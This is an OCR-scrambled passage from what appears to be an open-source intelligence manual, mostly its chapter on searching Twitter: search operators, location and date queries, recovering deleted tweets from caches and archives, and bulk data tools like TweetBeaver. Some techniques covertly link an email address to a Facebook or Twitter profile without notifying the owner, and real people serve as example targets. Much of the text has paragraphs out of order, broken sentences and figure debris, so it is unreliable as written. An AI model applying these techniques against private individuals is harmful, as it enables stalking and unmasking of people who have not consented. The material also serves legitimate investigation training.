Facebook profile which was associated with the account. I can now search this full name within Facebook, look for the image previously displayed, and scour the target profile for valuable information. Facebook continuously makes both minor and major changes to their search functions. Some of these instructions may not work one day and work fine the next. Your mileage will vary as Facebook scrutinizes your covert profiles, VPN protected networks, and overall "vibe" as a Hopefully, this chapter has given you new’ ideas on ways to completely analyze your next target and ideas to circumvent the next roadblocks. As stated previously, wc lost all standard email address search options within Facebook in 2019. However, there is one remaining technique which allows submission of an email address and provides identification of an associated profile. However, it is not simple or straightforward. It will take some work to set up, but will then be available as needed. This is often referred to as the "Page Role" trick. The premise is that you create a Facebook business page and then assign another profile to possess management rights. When you enter the email address of the target, Facebook confirms the name and profile to make sure you truly want to give away authorization to the person. We can then cancel the request without any notification to the target. The following steps replicate this technique. Place your mouse in between columns A and B and resize column A to be a bit larger than one of the images. Do the same with Column B to fit in all of the text. Use the "Find and Replace" feature to find ever}' instance of "Add Friend" and replace it with nothing. This will remove those unnecessary entries. In the "Home" menu, choose "Format" and then "Auto Fit Row’ Height". This will eliminate unnecessary spacing. Select Column B and Left Justify the text. Your final result will be a clean spreadsheet with all of the images, names, and active links from your target's Facebook "friends" page. This is not the cleanest way of doing things, but it will work. are always a moving target. Throughout all of the services explained in this book, likely to change often. Fortunately, any changes akvays bring new’ investigation lost, Graph search in 2019, w’c gained Base64 methods. When we lose the current - - ;------come available. As with all OSINT techniques, daily practice and understanding o e resources is more vital than the occasional nugget of data w’hich is displayed on our screens. Twitter Search (twitter.com/cxplore) Twitter Advanced Search (twitter.com/search-advanced) None of these words: This box will filter out any posts that include the chosen word or words. To these accounts: This field allows you to enter a specific Twitter username. The results will only include Tweets that were sent to the attention of the user. This can help identify associates of die target and information intended for the target to read. This exact phrase: Every Twitter search takes advantage of quotes to identify exact word placement. Optionally, you can conduct the search here to get precise results without quotes. All of these words: The order of wording is ignored here, and only the inclusion of each of the words entered is enforced. Ch a pt e r El e v en So c ia l Ne t w o r k s : t w it t e r These Hashtags: This option will locate specific posts that mention a topic as defined by a Twitter hashtag. This is a single word preceded by a pound sign (#) that identifies a topic of interest This allows users to follow certain topics without knowing usernames of the user submitting the messages. Twitter is a social network and microblogging service that limits most posts to 280 characters. In 2019, Twitter reported that there were over 500 million Twitter posts, or "Tweets", posted every day. Basically, users create a profile and post Tweets announcing their thoughts on a topic, current location, plans for the evening, or maybe a link to something that they feel is important. A user can "follow" other users and constandy see what others are posting. Likewise, a user's "followers" can see what that user is up to on a constant basis. The premise is simply sharing small details of your life for all of your friends to see, as well as the rest of the world. Most people utilize the service through a mobile app within a cellular phone. Obtaining information from Twitter can be conducted through numerous procedures, all of which are explained here. Similar to Facebook, we will start with official search options through Twitter's website. Unlike Facebook, you do not need to be logged in to their service in order to conduct queries on their website. From these accounts: This section allows you to search for Tweets from a specific user. This can also be accomplished by typing the username into the address bar after the Twitter domain, such as twitter.com/JohnDoe92. This will display the user's profile including recent Tweets. This is the official site's search interface, but it is nothing different than the search field at the top of any Twitter profile or search result. I only present this because navigating to twitter.com often offers a signup page, but nr option to search. We will use this standard search bar to conduct specific queries in a few moments. Social Networks: Twitter 185 This page will allow for the search of specific people, keywords, and locations. The problem here is that the search of a topic is often limited to the previous seven to ten days. Individual profiles should display Tweets as far back as you are willing to scroll. This can be a good place to search for recent data, but complete archives of a topic will not be displayed. The following explains each section. Any of these words: You can provide multiple unique terms here, and Twitter will supply results that include any of them. This search alone is usually too generic. Twitter Person Search 186 Chapter 11 Dates: The final option allows you to limit a search moment Videos: This searches for any videos matching your query. Similar to the previous example, this often locates videos associated with your target Photos: This searches for any photos matching your query. This has been helpful when attempting to identify images posted by unknown people who mentioned your target by name. to a specific date range. We will do this manually in just a Overall, I do not ever use the Twitter Advanced Search page. You can replicate all of these queries with manual search operators within the search field available on every Twitter page. I will explain each as we go through the chapter. Knowing the Twitter search operators instead of relying on the advanced search page has many benefits. First, we can use these techniques to monitor live Twitter data, as explained later in this chapter. Next, manual searches allow us to better document our findings. This is vital if your discoveries will be used in court. Top: This displays popular tweets matching your query. If your target is popular, you may see something here. I typically avoid this tab as it allows Twitter to determine what evidence I should see instead of selecting content based on specific queries. Locating your target's Twitter profile may not be easy. Unlike Facebook, many Twitter users do not use their real name in their profiles. You need a place to search by real name. I recommend Twitter's official search page before relying on third parties. After searching any real name or username within the standard Twitter search field, click through the five menu options, which are each explained below. Latest: This presents a reverse-chronological list of data which matches your search. It always begins with the most recent post and goes backward. This works well when searching a topic, but not when locating a target's profile. Twitter data can be used for many types of investigations. Law enforcement may use this data to verify or disprove an alibi of a suspect. When a suspect states in an interview that he was in Chicago the entire weekend, but his Twitter feed displays his Tweet about a restaurant in St Louis, he has some explaining to do. Private investigators may use this content as documentation of an affair or negative character. Occasionally, a citizen will contact the authorities when evidence of illegal activity is found within a person's Tweets. The possibilities are endless. First, let's find your target's Twitter profile. Mentioning these accounts: While these messages might not be in response to a specific user, the target was mentioned. This is usually in the form of using Anyone mentioning me within a Tweet may start it with @inteltechniques. People: Scrolling through this list allows you to look through the photo icons and brief descriptions to identify your target. Clicking on the username will open the user's Twitter profile with more information. This is the best option for searching by real name or username. Later in the chapter, w'C will combine all of our new techniques within our own custom tool options, which will be much more powerful than these standard solutions. The results of any of these searches can provide surprisingly personal information about a target, or generic content that includes too much data to be useful. We must learn each technique within a specific order before we can combine them into powerful queries. Twitter Directory (twitter.com/i/directory/profiles) Search by Email Address □ Figure 11.01: A Twitter contacts email search result. Suggestions for you to follow When you follow someone, you'll see their Tweets in your Home Timeline. Enabling this feature will not display your contacts within die application. Instead, look at your notification bar within Android. You should see a pending notification which states "Find your friends on Twitter". Clicking this should present the "Suggested Followers" screen as seen in Figure 11.01. In this example, I entered the personal email address of Chris Hadnagy into my Android contacts. This immediately identified him as a "Friend" and Twitter encouraged me to add him. I now know that he associated his personal email address with this Twitter account. Twitter will encourage you to add these profiles, but do not choose that option. If you do, your target will be sent a notification from your account. W ithin Android, open the Contacts application and add the email address of your target within a new contact and save the entry. Open the Twitter app, navigate to the left menu and select "Settings and privacy", click on "Privacy and safety", then "Discoverability and contacts". You can then manage your data and allow Twitter to sync your Android contacts to their sendee. If searching by real name through the previous methods does not produce your target, your best option is to focus on the potential username. I will discuss username searches at length in a later chapter (Usernames). Overall, any associated usernames from other networks such as Instagram, Snapchat, and YouTube, should be tried on Twitter in the format of twitter.com/username. Social-Engineer, LLC k. * @SocEngineerlnc Penetration testing. Training and certification. Ongoing education. Protect your company against social engineering attacks. If you still cannot locate your target's profile, you may need to resort to the Twitter Directory. This awkward and difficult monstrosity tries to allow you to browse through the millions of Twitter profiles alphabetically. First, choose the first letter of the first name of your target. This will present a range of options. You then need to select the range in which your target would be listed, and that selection would open a new window with hundreds of name range options such as "Mike Hall - Mike Hirsch". You will need to keep using this drill down method unul you reach a list of actual profiles that meet your criteria. I do not enjoy this method, but sometimes it is all that 1 have. 1 once found my target this way after he used a misspelled version of his real name. Technically, Twitter docs not allow the search of a username by providing an email address. If you attempt this type of search on Twitter, you will receive no results, even if a profile exists for a user with that email address. To bypass this limitation, you can use a feature offered within the mobile app version of Twitter. This technique will require a new Twitter account and the Twitter app present within a virtual Android device, as previously explained. This could also be replicated on a physical mobile device, but that is not recommended. Social Networks: Twitter 187 Search Operators from:Sultry/\sian to:SultryAsian to:SultryAsian from:HydeNS33k Search by Location geocode:43.430242,-89.736459,1km 188 Chapter 11 We can also filter by replies with the following search. This would only display the tweets from our target which were replies to someone else. from.’SultryAsian filtenreplies fromiSultryAsian -filtenreplies Similar to the way that search engines use operators as mentioned in previous chapters, Twitter has its own set of search operators that will greatly improve your ability to effectively search Twitter. Two of the most powerful options are the "to" and "from" operators. I use these daily in order to filter results. Consider the following examples using our target Twitter username of twitter.com/sultryasian. We can obviously navigate directly to her page, but it is full of promoted Tweets, ReTweets, and whatever content she wants us to see. Instead, the following search within any Twitter window’ will limit our results only to her outgoing Tweets from her account. Clicking die "Latest" option in the Twitter menu will place these in reverse-chronological order. This provides a better view’ into her thoughts. Both her Twitter profile and this results page give us insight to the messages she is sending out, but what about the incoming content? With most traditional Twitter investigations, we tend to focus on one side of die conversation. There is often a plethora of associated messages being sent to the attention of the target that go unchecked. In order to see all of the posts being publicly sent to her, we would search die following. I do not find this very helpful. I prefer the opposite of this approach. The following search within Twitter would display only the tweets by my target which do NOT include replies. There are no spaces in this search. This will be a list without any map view. They will be in order chronologically with the most recent at top. The "1km" indicates a search radius of one kilometer. This can be changed to 5,10, or 25 reliably. Any other numbers tend to provide inaccurate results. You can also change "km" to "mi" to switch to miles instead of kilometers. If you want to view’ this search from the address bar of the browser, the following page would load the same results. We now’ see all of those incoming messages that she cannot control. While she can prohibit them from being seen on her profile, she cannot block us from this search. When I have a missing person or homicide victim, I W’ould much rather see the incoming messages versus the outgoing. We can also combine these options to create an extremely targeted query. At first glance, I did not see many incoming messages to SultryAsian from HydeNS33k. How’ever, the following Twitter search tells a different story’. It isolates only’ these posts. If you are investigating an incident that occurred at a specific location and you have no known people involved, Twitter will allow’ you to search by’ GPS location alone. The Twitter Advanced Search allowed us to search by zip code, but that can be too broad. The following specific search on any’ Twitter page will display' Tweets known to have been posted from within one kilometer of the GPS coordinates of 43.430242,-89.736459. https://twitter.com/search?q=geocode:43.430242,-89.736459,1 km geocode:43.430242,-89.736459,1km "fight" Mandatory and Optional Search Terms "Michael Parker" kill OR stab OR fight OR beat OR punch OR death OR die Date Range Search since:2015-01-01 until:2015-01-05 "bomb threat" from:humanhacker since:2012-01-01 until:2012-12-31 This may create a more digestible collection of Tweets that can be collected and archived appropriately. There may be no other way of identifying these messages since you cannot likely scroll back that far. In my investigations involving targets with several thousand posts, I conduct multiple searches within Twitter that span several years. The following would collect yearly sets of Tweets posted by humanhacker since 2006. My favorite use of this search technique is to combine it with the "to" operator or a name search (or both). This allows you to go further back in time than standard profile and Twitter feed searches typically allow. Consider an example where Twitter user humanhacker is your target. You can visit his live Twitter page and navigate back through several thousand Tweets. However, you will reach an end before obtaining all Tweets. This could be due to Twitter restrictions or browser and computer limitations. He currently has 13,000 Tweets. Even if you could make it through all of his Tweets, you are not seeing posts where he is mentioned or messages sent publicly to him. 1 recommend splitting this search by year and including mentions and messages directed toward him. The following search within Twitter displays all Tweets from the Twitter name humanhacker between January 1,2012 and December 31, 2012. If you are searching vague terms, you may want to filter by date. This option is now available on the advanced search page, but I believe it is important to understand how Twitter performs this task. Assume that you are investigating a bomb threat that occurred several weeks or months ago. A search on Twitter of the terms "bomb threat" will likely apply only to recent posts. Instead, consider a date specific search. The following query on any Twitter page would provide any posts that mention "bomb threat" between J anuary 1,2015 and January 5,2015. You can add search parameters to either of these searches if the results are overwhelming. The following search would only display Tweets posted at the listed GPS coordinates that also mention the term "fight". Notice that the only space in the search is between "km" and "fight". You may have a scenario that requires a search of both mandatory and optional terms. Twitter does not provide a published solution for this. However, it does support this type of search. Assume you are investigating threats against your target named Michael Parker. You believe that people may be tweeting about him with reference to violence. Searching his name alone produces too many results. Placing the name within quotes forces Twitter to only give you results on those exact terms, which is your "mandatory" portion. Additional optional words could be added with the term "OR" is between each. This term must be uppercase, and will only require one of the optional words be present within the search results. Consider the following query on Twitter. It would be inappropriate to finish this section without a discussion about the lack of geo-enabled Tweets. Several years prior, this search would have been highly productive, as an alarming number of Twitter users were unknowingly sharing their locations with every post. Today, it is the opposite. The default option for Twitter is NOT to share location. A user must enable this option in order to appear within these search results. In my experience, catching a criminal from a location-enabled Tweet is extremely rare. However, we should be aware of the possibility. Social Networks: Twitter 189 torhumanhacker since:2008-01-01 untiI:2008-l 2-31 "humanhacker" sincc:2008-01-01 until:2008-12-31 for a date range from:humanhacker email since:2006-01-01 until:2009-12-31 fromihumanhackcr email sincc:2017-10-02 until:2017-10-03 Figure 11.02: An old Twiner post including an email address of die target. 190 Chapter 11 from:humanhacker since:2006-01-01 until:2006-12-31 fromihumanhacker since:2007-01-01 until:2007-12-31 fromihumanhacker since:2008-01-01 until:2008-12-31 fromihumanhacker sincc:2009-01-01 until:2009-12-31 from:humanhacker since:2010-01-01 until:2010-12-31 fromihumanhacker since:2011-01-01 until:2011-12-31 fromihumanhackcr since:2012-01 -01 until:2012-12-31 fromihumanhackcr since:2013-01-01 until:2013-12-31 fromihumanhackcr since:2014-01-01 until:2014-12-31 fromihumanhackcr sincc:2015-01-01 undl:2015-12-31 fromihumanhackcr since:2016-01-01 und!:2016-12-31 fromihumanhackcr since:2017-01-01 undl:2017-12-31 fromihumanhackcr since:2018-01-01 undl:2018-12-31 fromihumanhackcr since:2019-01-01 until:2019-12-31 fromihumanhackcr since:2020-01 -01 untili2020-12-31 fromihumanhackcr since:2021-01-01 until:2021 -12-31 HumanHacker ©humanhacker • 1 Oct 2009 Podcast recording today. If you have questions on interrogation and social engineering email them to [email protected] This same technique can be modified to display only incoming Tweets to humanhacker for these years. Replace "from" with "to" to obtain drese results. The 2008 posts would appear as follows. You can combine all of these options into a single result, but I only recommend this after you have attempted the more precise options mentioned previously. While the next outgoing Tweets, incoming Tweets, and mentions, it is not always search should theoretically display all of his complete. The following would include 2008. Christopher Hadnagy @humanhacker • Oct 2, 2017 I {9 I need help getting some sheep to a friend in Colorado... any one have any ideas? DM or email me. This isolates only his posts from the beginning of Twitter until the end of 2009. Only four results are present, including the Tweet as seen in Figure 11.02 (top). We will use this data during our automation process as discussed later (sorry Chris). These queries do not need to encompass an entire year. You could use this technique to focus on a specific month or day. Figure 11.02 (bottom) tells me what Chris was up to on October 2, 2017 with the following query. There are many uses for a date range search. Any supported Twitter search should work combined with dates. This might include a location search for a specific date related to an investigation. As a test of the possibilities, consider that you want to identify an email address for this target. His live Twitter page will not reveal this, as he no longer posts his email, likely to prevent spam. However, the following search is quite productive. Media, Likes, and Links https://twitter.com/humanhacker/media/ https://twitter.com/humanhacker/likes/ from:inteltechniques filter:links fromdnteltcchniques min_faves:l 50 The following searches for any tweets from my own account which received at least 100 replies. from:inteltechniques min_replies: 100 to:humanhacker from:AimsandShoot since:2018-03-01 until:2018-03-31 filterdinks fikenreplies Deleted, Suspended, and Missing Tweets We can also filter for popular posts. The following searches for any tweets from my own account which received at least 150 likes. Next, we can focus only on tweets from a user which include a link to additional media. This could be an image, video, or website. The following presents only tweets with links from my own account If 1 encounter a Twitter user that has recently deleted some or all of their messages, I conduct a cache search of their profile. There are various ways to do this, and I will demonstrate the most common. In this example, 1 conducted a search on Twitter for "deleted all my Tweets" on December 15, 2017. This provided many users who posted that they had just deleted all of their content. This helped me identify a good target for this type of You may want to filter all results from a target Twitter profile and only see those which have some type of media embedded. There is not a search operator to force this, but the following direct URL will display only these posts. Twitter users may delete their own accounts if there is suspicion that an investigation is under way. If this happens, searching on Twitter will not display any of the posts. Furthermore, a person might only delete individual Twitter posts that are incriminating, but leave non-interesting posts on the profile to prevent raising suspicion associated with deleting an entire account. Some users may find their accounts suspended for violating Twitter's terms of service. In any of these scenarios, it is still possible to retrieve some missing posts using various techniques. Now, let's combine a few searches. The following query’ would identify any tweets sent to our target, from his daughter, during the month of March of 2018, which included a link, and were replies from another post. Replicating this search reveals only one result, which may have been otherwise buried within the thousands of posts. Hopefully you can see the value of targeted queries. Later in the chapter, I present the custom offline Twitter search tools which automate most of these queries. However, it is vital to understand why these work in order to explain your methods when required. A trend that has seen rapid adoption over the past few years is the "Liking" of posts. When a user wants to acknowledge something said by another user, but does not necessarily want to respond or ReTweet, clicking the small heart icon indicates that the post was "liked". The following direct URL displays all of the posts that our target liked. For unknown reasons, this query requires you to be logged in to an account. Social Networks: Twitter 191 in Figure 11.04. Google identified this capture as http://web.archive.org/web/*/twitter.com/\VestComfield S I-igurc 11.03: A live Twitter post announcing Tweet deletion. 192 Chapter 11 demonstration. The first user I located was "WcstComfield". He had his posts, and it is seen in Figure 11.03. one Tweet and it referenced deleting all of Wes Corwin QWestCornfield • 2h y Deleted all my tweets. Starting over. Q 2 11 o 3 While even- investigation is unique, I wanted to demonstrate the importance of checking ever}' source. These searches took less than three minutes using my custom Twitter search tool discussed in the next section. While 1 an entire deleted account, the posts obtained with this technique are something you This may be enough for your investigation. Occasionally, I need to identify content that was deleted weeks or months before my investigation. The previous technique will likely not provide much assistance because the Google Cache is probably a recent copy of their live page. The cache may be missing Tweets you want to see. I next replicated this process on Bing and Yandex. Bing's cached view was taken on December 7, 2017 while Yandex's cached view was collected on November 3, 2017. Each of these possessed unique posts and images. Figure 11.05 displays a recovered post from Bing. Next, 1 returned to Google to obtain further data. 1 searched the following, which provided only results that possess a URL that begins with twitter.com, then my target's username, then status . This will force Google to present direct links to actual posts. siteitwitter.com/westcornfield/status I attempted a search on Twitter of fromiWcstCornfield, which provided no results. I conducted a search of to:WestComfield, which provided dozens of incoming messages from his friends. This was a good start. 1 then went to Google and conducted a search for "Twitter WestComfield". The first search result was a link to the user's live Twitter page. Instead of clicking on the link, I chose the Google Cache view of his profile by clicking the small green "down arrow" next to the URL and selecting "Cached". This view identified twenty deleted Tweets from this account. Two of these posts can be seen in Figure 11.04. Google identified this capture as taken on December 12, 2017. The result was 56 posts. \XTicn I clicked on each of these, Twitter informed me that the post had been deleted. However, opening the cached version from the Google result displayed each of the posts. In Figure 11.06, you can sec that Google is now identifying deleted posts as far back as October 2017. This process should also be repeated using the cached view options of Bing and Yandex. Next, we should check the \X ayback Machine as mentioned in Chapter Eight. If you recall, you can search their archives by keywords or direct URL. The following address connects us directly to their archive of his account. This identified a capture of his profile on December 6, 2017. Opening this archive displayed his Twitter profile dating back to November 8,2017. Figure 11.07 displays this deleted Tweet. While our target removed his content from his profile, he did not remove his history. In order to see the Twitter posts that he had previously liked before wiping out his page, we can navigate to the following U1 • n 11 example, we sec the hundreds of messages that identify his interests. https://twitter.com/WcstCornfield/likes/ :r>’ investigation is unique, I wanted you will likely never rebuild did not have before. Q O 3 tl Figure 11.04: A Google cached Twitter posts recovered after deletion. Figure 11.05: A Bing cached Twitter post recovered after deletion. Figure 11.06: A Google cached Twitter message URL of a deleted post. J Figure 11.07: A recovered deleted Tweet from die Wayback Machine. Twitter Post Details https://pbs.twimg.com/media/Ek3FxAhVcAEJt_t?format=jpg&name=small https://pbs.twimg.com/media/Ek3FxAh VcAEJt_t?format=jpg Social Networks: Twitter 193 s Wes Corwin ©WestCornfieid • Dec 10 "It's YOUR Baby, Charlie Brown* Wes Corwin @WestComf;e!d ■ Nov 8 I'm testing to see if I have 280 characters. I don't think so. but the bottom right comer instead of saying 140 is now this dumb circle and this is a lot of text but there’s no way right? Has Twitter senpai noticed me? WOW THIS IS SO MUCH TEXT, I'M THE HAPPIEST GIRL IN THE WORLD Wes Corwin t wttsQcrrftta If you eat carrots, your vision improves. If you avoid carrots for long enough, you can stop reading nutrition labels. # Wei InessWed nesday Wes Corwin feWestCornfield • 5h N* The worst part about trying to be a nice person that Is also a comedian is how many people expect you to book gigs for them. After removing "&name=small" from the URL, the full image is available. You can save this image by right­ clicking and choosing "Save image as". This example is as follows. Assume that you have identified an individual Tweet of interest. The URL of the message will appear similar to https://twitter.com/lntelTechniques/status/1318928116253814785. You have die tools to create a screen capture, but you may want a few more details. If there is an image embedded into the Tweet, you can click on it to sec a larger version. However, this is sometimes not the original image size. In order to see die original full- size version, right-click the image and choose "View image". This will load a new URL such as the following. Wes Corwin ©WestCornfield • 4d l‘m not saying America should convert to the metric system, but I am going to start calling dimes ‘deci-dollars*. Tweet Deck (tweetdeck.twitter.com) 194 Chapter 11 The User1 option will allow you to enter a Twitter username and monitor all incoming and outgoing public messages associated with the user. If several subjects of an investigation are identified as Twitter users, each of the profiles can be loaded in a separate column and monitored. Occasionally, this will result in two of the profiles communicating with each other while being monitored. If we return to the message, we can see the date and time of the post directly below the content. In this scenario, it was posted on October 21, 2020 at 8:52 AM. This is likely local time to the account owner, but we should never assume this. If we right-click on the Tweet and choose "View' Source", we can search within the source code of that Tweet. While in your browser, strike "Ctrl" + "F" (Windows/Linux) or "command" + "F" (Mac) and search for "time_zone". This should result in one entry. In this case, it reads "Eastern Time (US Scamp; Canada),utc_offset>14400,tzinfo_name:America/New_York". We now know this Tweet was sent at 8:52 AM EST. While this may seem minor, it could be a huge deal if your investigation makes its way to a courtroom. Knowing exact dates and times is mandator}’. Tweet Deck is owned by Twitter, and it can take advantage of the live Twitter "Firehose". This huge stream of data contains ever}' public post available on Twitter. Many Twitter services do not have access to this stream, and the results are limited. Tweet Deck requires you to create and log in to an account to use the service. The "Create Account" button on the website will walk you through the process. /Vias information is acceptable and preferred. The plus symbol (+) in the upper left area will add a new column to your view. There are several options presented, but the most common will be "Search" and "User". The "Search" option will create a column that will allow you to search for any keywords on Twitter. The following is a list of search examples and how they may benefit the investigator. "Victim Name": A homicide investigator can monitor people mentioning a homicide victim. "School Name": A school can monitor anyone mentioning the school for suspicious activity. "Subject Name": An investigator can monitor a missing person's name for relevant information. "Event": Officials can monitor anyone discussing a special event such as a festival or concert. "C C|CO Un^nS °. WCCt Deck are consistently sized. If more columns are created than can fit in the display, the ^ns option with left and right arrows will provide navigation. This allows for numerous search columns regar ess o screen resolution. This is an advantage of Tweet Deck over the other services discussed. Tweet ls one o m} Twitter staples. I use it at some point during even’ investigation. I recommend familiarizing yourself with all of the features before needing to rely on it during your searches. You can also use the Geo search mentioned earlier within Tweet Deck. A column that searches "geocode:43.430242,-89.736459,1km" will display a live feed of Tweets posted within the specified range. A more precise search of "geocode:43.430242,-89.736459,1km fight" would add the keyword to filter the resu ts. Figure 11.08 displays Tweet Deck with several searches. Real World Application: In 2019,1 was investigating a death threat toward a celebrity. I launche weet and began monitoring. First, I created a search column with "to:myclient". This started a stream o people mentioning my client, which was too much to monitor. Next, I created a column of to.m} c lent ’ die OR shoot OR death". This presented ver}’ few tweets being sent to the celebrity including speci ic ate u words. However, it did identify a suspect. A tweet was sent to the celebrity stating I hope you die a ier} * ea tonight". I then created another column of "from:suspect to:myclient". This identified ever}’ tweet ic was sending to the celebrity. Since I had to move on to other resources, I set one final Tweet Deck co umn o "from:suspect to:myclient kill OR die OR shoot OR death" and added an alert. This instructed Tweet ec ' to play an audible sound if any new messages met the criteria. The same suspect was arrested a wee * ater \\ i e attempting to burglarize her apartment JLUserc . iZnzz FMF] HimanKaekw. Tr e .'.xtcUtt VAtKrag at scnio Third-Party Resources All iMy Tweets (allmytweets.net) TweetBeaver (tweerbeavcr.com) Social Networks: Twitter 195 @inteltechniqucs does not follow @jms_dot_py @jms_dot_py follows @inteltechniques > find later that he had changed his username, you could easily locate his number (817668451). r- SOCTuO* J.W r —to nwv W tr.xl tn nr-n-.n mra.it .1 _Ga,„ cc. tn my bratrarr nonw; u» Check if two accounts follow each other: As the tide implies, this option quickly sorts out whether two users follow each other. An actual output appears below. Convert ID to Name: This is the opposite of the above technique. If you had previously identified jms_dot_py as your target Twitter account only to u'“*’ v ' , J -l J u:“------------ ,J :1" 1 u:“ profile by providing the assigned user Convert Name to ID: This is the most reliable way to take a Twitter username, such as jms_dot_py, and convert it to the corresponding user number, which is 817668451. This can be vital for investigations. Users can always change their username at any time, but the user number cannot be modified. Tliis website provides a clean display of all of a user's Twitter posts on one screen. It will start with the most recent post and list previous posts on one line each. This view will display up to 3,200 messages on one scrollable screen. This provides two analysis methods for digesting large amounts of data. Pressing "Ctrl" + "F" on the keyboard will present a search box. Any search terms can be entered to navigate directly to associated messages. The page can also be printed for archiving or distribution to assisting analysts. This is my preferred way of reading through the Tweets of an active user. This also prevents you from constandy loading more Tweets at the end of every page throughout a profile. Currendy, I prefer TweetBeaver for this task, which is explained next. Wc have reached the end of the Twitter search options within the official website. However, we are far from done. Next, we will focus on third-party- search tools. Most of these sendees require you to authenticate with a Twitter account before any queries can be submitted. This is largely due to Twitter's safeguards against fraud and abuse. I always recommend using a "junk" Twitter account when this is required. You will be asked to give the third-party service access and control of the account in order to complete any tasks. This can be a security and privacy risk if using your true personal account 1 will never give any service access to my real Twitter account, but 1 often allow services to authenticate with one of my investigation accounts. This is currently my absolute favorite third-party- Twitter reporting tool. It is die most robust online option available to us for exporting content from an account or researching associations. There are currendy fourteen unique options within this site, and I will explain each of them with usage scenarios. Note diat you must be logged in to a Twitter account for any of these to work, as they all leverage the Twitter API in order to function. Please only use covert accounts, and never your own personal Twitter login information. 0, 'bomb threat* .. PG? jQpk Why cant r j I Wnia e-zrryono aneoi Ojnnj L-'U ma bomb mrc.it_.mo Jao-ya-d Ce'xe Wart sor.r a fewy • ■ Figure 11.08: A Tyveet Deck search screen. A User ■ ■ ».< tr. Kxtlo Lotfovl i > M Ort ■ bomo -JTMl |W-j ettrrg»n; v.g WTfl Do I tx-7 Tmor Noah tozts? I knd ■ : c* nvt to w m r.mbut I matto hj.mg ftas/XacKs to aJ thm ctupid Cnyry tMTO.e-5 ivx-eera 0, gcocode:43.430242.-fl... , . Vtu»wpm»harcngona»» * • .-J- 0 tX-.r s .. rr.tr.y “■ CYM: WVry yai're rat Hit/ to get haoao on . .7. -sviir, — mJ 0 t>-rrr c,ber txtl • U-u-cic.— mcn>__ CvjuieiMtxlet r; Bratt - I 4 ’ rmolDcrlrUXoSUlcPsrtrt r-wtl . z 1 Barsbuo. Wl r*« m W ramt-sJcC. .77211 I I Date posted IWect author Text text URL ©TerrorFana tics Figure 11.09: A TweetBeaver result for a user's favorites. Tweet author URL Date posted Text text Gjms_dot_py Figure 11.10: A TweetBeaver user timeline result. [ Screen name Twitter ID Namo jms_dot_py 817668451 Justin Seitz Location Language URL Geo enabled Time zone en not set Verified Friends not verified 9041 2112 7095 Figure 11.11: A TweetBeaver user account export. 196 Chapter 11 Saskatoon. Saskatchewan Wed Dec 06 02:20:06 +0000 2017 Fri Dec 15 20:5836 +0000 2017 •_3 https7A.co /S4MDS86jU 6_prasket ©TeriRadichel thanks so much you guys! Search within a user’s favorites: If the previous technique produces too many results, this option allows you to filter by keyword. Since you could search within the file you downloaded or on the screen of results, I find this feature to be of litde use. http7/airtomatinQosInt,c om/bloq Tweets www.nvittcr.com/jms dot, py /statuses /941774513942945792 I www.twittcr.co m/TerrorF | anatics/statuses j /938231545235636225 Centra! Time (US & Canada) Followers 3 Search within a user’s timeline: Similar to the favorites search tool, I find this one redundant. Download a user’s favorites: This is the first tool where we can choose to either display the results on the screen or download them as a CSV spreadsheet This option simply extracts a user's favorites (or likes) as discussed earlier. The results include the original author, date and time, text of the message, a direct URL to the post, and the author's bio, as seen in Figure 11.09. Get a user’s account data: This utility provides a great summary of the account information publicly available from any Twitter account. The benefit of this method of obtaining the data is that it is quick and presented in a standard view. 1 can collect this information about many users, and all results will have the same format. This can aid in presentation during prosecution. Figure 11.11 displays the actual result from this target. TWect author's biography Tweeting (and retweeting) the best UHorror articles, videos, memes, writers, podcasts, filmmakers, etc. Download a user’s timeline: This may be the most useful all of these options. Provide a target Twitter name and TweetBeaver will extract the most recent 3,200 posts from the account. Furthermore, it will include the date and time of each post and the direct URL to the message. When I have a Twitter target of interest, I run this tool on the account daily. It has helped me obtain the new posts every’ day, and identify previous posts deleted after my initial acquisition. Figure 11.10 displays the first line of a result. Biography |' Account created date Creator of ©Hunchly. i Blogging & training || # OS I NT techniques. Wrote a couple of ©nostarch books. ©Beilingcai contributor. ©C4ads fellow. TUeSep 11 15:4420 +0000 2012 Twitter Web Client Qjms_dot_py Figure 11.12: A message filtered by TweetBeaver. Bulk Account Data Example Social Networks: Twiner 197 Bulk lookup user account data: Similar to the previous, but allowing bulk submissions, as demonstrated in a moment. The Innocent Lives Michael Bazzell Ffi Nov 23 1624:48 +0000 2018 ID 854674794482216960 ID 257644794 QlnteTTect ©repfyall ©AC ©frankahc— Find common followers of two accounts: This is a newer feature which can quickly identify people of interest based on co-targets. Consider the following. Twitter user jms_dot_py has been identified as a suspect in your embezzlement investigation. He seems to be very friendly with Twitter user humanhacker, and he once discussed tax evasion within public posts with this new second person of interest. Humanhacker has 33,000 followers and jms_dot_py has 12,500. There is no great way to look through these in order to find other suspects. However, TweetBeaver quickly identified the 371 people who follow both targets. This can be much more manageable, but is still a lot of data. Find conversations between two users: Once you have identified two people of interest, you can focus on the conversations between them. You could replicate this with the previous Twitter operators, but this route presents a nice spreadsheet of the results. In my scenario, 1 located six conversations between me and jms_dot_py. Figure 11.12 displays one result. Download a user’s friends list: This option collects a target's list of accounts that he or she follows. This is similar to a typical friends list on Facebook, but approvals on either end are not required. In early 2018, TweetBeaver introduced the bulk lookup feature which can accept up to 15,000 Twitter usernames. This is quite impressive, and 1 have put it through many tests. This feature allows you to input numerous accounts within one query’. As a demonstration, I added every’ Twitter account mentioned in this chapter up to this point into the TweetBeaver bulk lookup utility’. The entry’ appeared as follows. @InnocentOrg @IntelTechniques Inteltechniques jms_dot_py SultrvAsian HydeNS33k humanhacker WestCornfield Find common friends of two accounts: Similar to the above, this only looks at the "friends" of each target. In other words, the people each target follows on Twitter. At the time of this writing, TweetBeaver identified the 57 people of interest. The following were two of the accounts. Download a user’s followers list: This is a list of the people who follow the target on Twitter. This is less likely to contain actual friends, but all associated accounts should be investigated. https://twittef.com /jms_dot _py/st3tu5os /1066004649721954304 This immediately’ created a CSV spreadsheet which was downloaded to my’ computer. Figures 11.13 and 11.14 display screen captures of the data. This gives me an immediate view into the accounts. If I had hundreds or thousands of Twitter usernames, this would allow me to sort by’ location or popularity’. 1 could also sort by’ :hniques ^Goldmund icam Not gonna De, I am fanboying a bit over ©AGoldmund Figure 11.13: Bulk Twitter data provided by TweetBeaver. not' not< Figure 11.14: Bulk Twitter data provided by TweetBeaver. Followerwonk (followerwonk.com) 198 Chapter 11 creation date in order to identify newly created accounts. This is possibly the most useful third-party tool when you have numerous accounts of interest. Account created date <figtnce (OSINT) Training and Took. hterMtiornl Prt/acy Consultant. Frt Feb 25 21:46:04 *0000 2011 